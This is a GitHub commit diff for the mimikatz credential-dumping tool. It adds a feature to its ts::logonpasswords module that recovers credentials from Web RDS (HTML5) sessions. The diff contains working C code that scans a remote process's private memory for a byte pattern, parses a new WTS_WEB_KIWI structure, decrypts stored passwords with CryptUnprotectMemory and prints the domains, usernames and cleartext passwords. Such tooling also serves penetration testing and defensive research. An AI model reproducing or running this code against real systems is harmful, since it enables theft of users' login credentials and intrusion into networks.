Skip to content

Commit 8c125e9

Browse files
committed
[new] mimikatz ts::logonpasswords now tries to get credentials from Web RDS (HTLM 5) connections
1 parent b5efa87 commit 8c125e9

File tree

2 files changed

+90
-18
lines changed

2 files changed

+90
-18
lines changed

mimikatz/modules/kuhl_m_ts.c

Lines changed: 82 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -204,12 +204,15 @@ NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[])
204204
const BYTE MyPattern[] = {0x00, 0x00, 0x00, 0x00, 0xbb, 0x47, /*0x0b, 0x00*/};
205205
const BYTE MyPattern2[] = {0x00, 0x00, 0x00, 0x00, 0xf3, 0x47, /*0x0b, 0x00*/};
206206
const BYTE MyPattern3[] = {0x00, 0x00, 0x00, 0x00, 0x3b, 0x01};
207+
const BYTE MyWebPattern[] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
207208
BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg)
208209
{
209210
KULL_M_MEMORY_ADDRESS aLocalBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {pMemoryBasicInformation->BaseAddress, (PKULL_M_MEMORY_HANDLE) pvArg};
210-
PBYTE CurrentPtr, limite;
211+
PBYTE CurrentPtr, limite, ref;
211212
PWTS_KIWI pKiwiData;
212-
BOOL decStatus = TRUE, bIsCandidate;
213+
PWTS_WEB_KIWI pWebKiwiData;
214+
BOOL decStatus, bIsCandidate;
215+
DWORD dwOffset;
213216

214217
if((pMemoryBasicInformation->Type == MEM_PRIVATE) && (pMemoryBasicInformation->State != MEM_FREE) && (pMemoryBasicInformation->Protect == PAGE_READWRITE))
215218
{
@@ -218,7 +221,7 @@ BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION
218221
{
219222
if(kull_m_memory_copy(&aLocalBuffer, &aProcess, pMemoryBasicInformation->RegionSize))
220223
{
221-
for(CurrentPtr = (PBYTE) aLocalBuffer.address, limite = (PBYTE) aLocalBuffer.address + pMemoryBasicInformation->RegionSize; CurrentPtr + sizeof(MyPattern) <= limite; CurrentPtr++)
224+
for(CurrentPtr = (PBYTE) aLocalBuffer.address, limite = (PBYTE) aLocalBuffer.address + pMemoryBasicInformation->RegionSize; CurrentPtr + sizeof(MyWebPattern) <= limite; CurrentPtr += sizeof(PVOID))
222225
{
223226
pKiwiData = (PWTS_KIWI) CurrentPtr;
224227

@@ -232,31 +235,92 @@ BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION
232235
}
233236
else bIsCandidate = FALSE;
234237

235-
if(bIsCandidate && !pKiwiData->unk2)
238+
if(bIsCandidate)
236239
{
237-
//kprintf(L"-> %08x (%hu %hu %hu)\n", pKiwiData->unk1, pKiwiData->cbDomain, pKiwiData->cbUsername, pKiwiData->cbPassword);
238-
if(!(pKiwiData->cbDomain & 1) && (pKiwiData->cbDomain < sizeof(pKiwiData->Domain)))
240+
if(!pKiwiData->unk2)
239241
{
240-
if(!(pKiwiData->cbUsername & 1) && (pKiwiData->cbUsername > sizeof(wchar_t)) && (pKiwiData->cbUsername < sizeof(pKiwiData->UserName)))
242+
//kprintf(L"-> %08x (%hu %hu %hu)\n", pKiwiData->unk1, pKiwiData->cbDomain, pKiwiData->cbUsername, pKiwiData->cbPassword);
243+
if(!(pKiwiData->cbDomain & 1) && (pKiwiData->cbDomain < sizeof(pKiwiData->Domain)))
241244
{
242-
if(!(pKiwiData->cbPassword & 1) && (pKiwiData->cbPassword < sizeof(pKiwiData->Password)))
245+
if(!(pKiwiData->cbUsername & 1) && (pKiwiData->cbUsername > sizeof(wchar_t)) && (pKiwiData->cbUsername < sizeof(pKiwiData->UserName)))
243246
{
244-
kprintf(
245-
L"\n Domain : %.*s\n"
246-
L" UserName : %.*s\n",
247-
pKiwiData->cbDomain / sizeof(wchar_t), pKiwiData->Domain,
248-
pKiwiData->cbUsername/ sizeof(wchar_t), pKiwiData->UserName
249-
);
250-
251-
if(pKiwiData->cbPassword && (MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10))
247+
if(!(pKiwiData->cbPassword & 1) && (pKiwiData->cbPassword < sizeof(pKiwiData->Password)))
252248
{
253-
decStatus = kull_m_crypto_remote_CryptUnprotectMemory(aProcess.hMemory, pKiwiData->Password, sizeof(pKiwiData->Password), CRYPTPROTECTMEMORY_SAME_PROCESS);
249+
kprintf(
250+
L"\n Domain : %.*s\n"
251+
L" UserName : %.*s\n",
252+
pKiwiData->cbDomain / sizeof(wchar_t), pKiwiData->Domain,
253+
pKiwiData->cbUsername / sizeof(wchar_t), pKiwiData->UserName
254+
);
255+
256+
if(pKiwiData->cbPassword && (MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10))
257+
{
258+
decStatus = kull_m_crypto_remote_CryptUnprotectMemory(aProcess.hMemory, pKiwiData->Password, sizeof(pKiwiData->Password), CRYPTPROTECTMEMORY_SAME_PROCESS);
259+
}
260+
else decStatus = TRUE;
261+
262+
if(decStatus)
263+
{
264+
kprintf(L" Password/Pin: %.*s\n", pKiwiData->cbPassword / sizeof(wchar_t), pKiwiData->Password);
265+
}
254266
}
267+
}
268+
}
269+
}
270+
}
271+
else if(RtlEqualMemory(MyWebPattern, CurrentPtr, sizeof(MyWebPattern)))
272+
{
273+
pWebKiwiData = (PWTS_WEB_KIWI) CurrentPtr;
274+
if(
275+
(pWebKiwiData->Username.Buffer && !((ULONG_PTR) pWebKiwiData->Username.Buffer % sizeof(PVOID)) && ((ULONG_PTR) pWebKiwiData->Username.Buffer < 0x1000))
276+
&&
277+
(pWebKiwiData->Username.Length && !(pWebKiwiData->Username.Length % sizeof(wchar_t)) && (pWebKiwiData->Username.Length < ((WTS_USERNAME_LENGTH + 1) * sizeof(wchar_t))) && ((pWebKiwiData->Username.Length == pWebKiwiData->Username.MaximumLength) || (pWebKiwiData->Username.Length == (pWebKiwiData->Username.MaximumLength - sizeof(wchar_t)))))
278+
)
279+
{
255280

281+
if(
282+
(pWebKiwiData->Password.Buffer && !((ULONG_PTR) pWebKiwiData->Password.Buffer % sizeof(PVOID)) && ((ULONG_PTR) pWebKiwiData->Password.Buffer < 0x1000))
283+
&&
284+
(pWebKiwiData->Password.Length && !(pWebKiwiData->Password.Length % sizeof(wchar_t)) && (pWebKiwiData->Password.Length < ((WTS_PASSWORD_LENGTH + 1) * sizeof(wchar_t))) && ((pWebKiwiData->Password.Length == pWebKiwiData->Password.MaximumLength) || (pWebKiwiData->Password.Length == (pWebKiwiData->Password.MaximumLength - sizeof(wchar_t)))))
285+
)
286+
{
287+
// Domain is not mandatory here
288+
kprintf(L"\n * Web Credentials? *\n");
289+
ref = (PBYTE) aProcess.address + (CurrentPtr - (PBYTE) aLocalBuffer.address);
290+
291+
if(
292+
(pWebKiwiData->Domain.Buffer && !((ULONG_PTR) pWebKiwiData->Domain.Buffer % sizeof(PVOID)) && ((ULONG_PTR) pWebKiwiData->Domain.Buffer < 0x1000))
293+
&&
294+
(pWebKiwiData->Domain.Length && !(pWebKiwiData->Domain.Length % sizeof(wchar_t)) && (pWebKiwiData->Domain.Length < ((WTS_DOMAIN_LENGTH + 1) * sizeof(wchar_t))) && ((pWebKiwiData->Domain.Length == pWebKiwiData->Domain.MaximumLength) || (pWebKiwiData->Domain.Length == (pWebKiwiData->Domain.MaximumLength - sizeof(wchar_t)))))
295+
)
296+
{
297+
pWebKiwiData->Domain.Buffer = (PWSTR) (ref + (ULONG_PTR) pWebKiwiData->Domain.Buffer);
298+
if(kull_m_process_getUnicodeString(&pWebKiwiData->Domain, aProcess.hMemory))
299+
{
300+
kprintf(L" Domain : %wZ\n", &pWebKiwiData->Domain);
301+
LocalFree(pWebKiwiData->Domain.Buffer);
302+
}
303+
}
304+
305+
pWebKiwiData->Username.Buffer = (PWSTR) (ref + (ULONG_PTR) pWebKiwiData->Username.Buffer);
306+
if(kull_m_process_getUnicodeString(&pWebKiwiData->Username, aProcess.hMemory))
307+
{
308+
kprintf(L" UserName : %wZ\n", &pWebKiwiData->Username);
309+
LocalFree(pWebKiwiData->Username.Buffer);
310+
}
311+
312+
pWebKiwiData->Password.Buffer = (PWSTR) (ref + (ULONG_PTR) pWebKiwiData->Password.Buffer);
313+
if(kull_m_process_getUnicodeString(&pWebKiwiData->Password, aProcess.hMemory))
314+
{
315+
decStatus = kull_m_crypto_remote_CryptUnprotectMemory(aProcess.hMemory, pWebKiwiData->Password.Buffer, pWebKiwiData->Password.Length, CRYPTPROTECTMEMORY_SAME_PROCESS);
256316
if(decStatus)
257317
{
258-
kprintf(L" Password/Pin: %.*s\n", pKiwiData->cbPassword / sizeof(wchar_t), pKiwiData->Password);
318+
dwOffset = (lstrlen(pWebKiwiData->Password.Buffer) + 1) * sizeof(wchar_t);
319+
kprintf(L" Password/Pin: %s\n |_ supp data: ", pWebKiwiData->Password.Buffer);
320+
kull_m_string_wprintf_hex((PBYTE) pWebKiwiData->Password.Buffer + dwOffset, pWebKiwiData->Password.Length - dwOffset, 1);
321+
kprintf(L"\n");
259322
}
323+
LocalFree(pWebKiwiData->Password.Buffer);
260324
}
261325
}
262326
}

mimikatz/modules/kuhl_m_ts.h

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -228,6 +228,14 @@ typedef struct _WTS_KIWI {
228228
} WTS_KIWI, *PWTS_KIWI;
229229
#pragma pack(pop)
230230

231+
typedef struct _WTS_WEB_KIWI {
232+
DWORD dwVersion;
233+
UNICODE_STRING Domain;
234+
UNICODE_STRING Username;
235+
UNICODE_STRING Password;
236+
//BYTE Data[ANYSIZE_ARRAY];
237+
} WTS_WEB_KIWI, *PWTS_WEB_KIWI;
238+
231239
typedef struct _TS_PROPERTY_KIWI {
232240
PCWSTR szProperty;
233241
DWORD dwType;

0 commit comments

Comments
 (0)